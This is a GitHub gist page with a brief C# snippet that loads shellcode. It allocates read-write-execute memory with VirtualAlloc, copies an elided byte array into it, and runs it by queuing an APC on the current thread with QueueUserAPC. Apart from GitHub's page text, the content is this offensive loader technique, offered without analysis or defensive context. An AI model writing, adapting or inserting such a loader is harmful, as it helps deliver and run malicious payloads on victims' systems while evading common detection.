-
-
Save djhohnstein/c843e9856f6da58f1604d03394806c4e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static void Main(string[] args) { | |
byte[] sc = {...}; | |
IntPtr resultPtr = VirtualAlloc(0, sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
IntPtr bytesWritten = IntPtr.Zero; | |
Marshal.Copy(sc, 0, resultPtr, sc.Length); | |
IntPtr ptr = QueueUserAPC(resultPtr, GetCurrentThread(), IntPtr.Zero); | |
Console.WriteLine("Goodbye"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment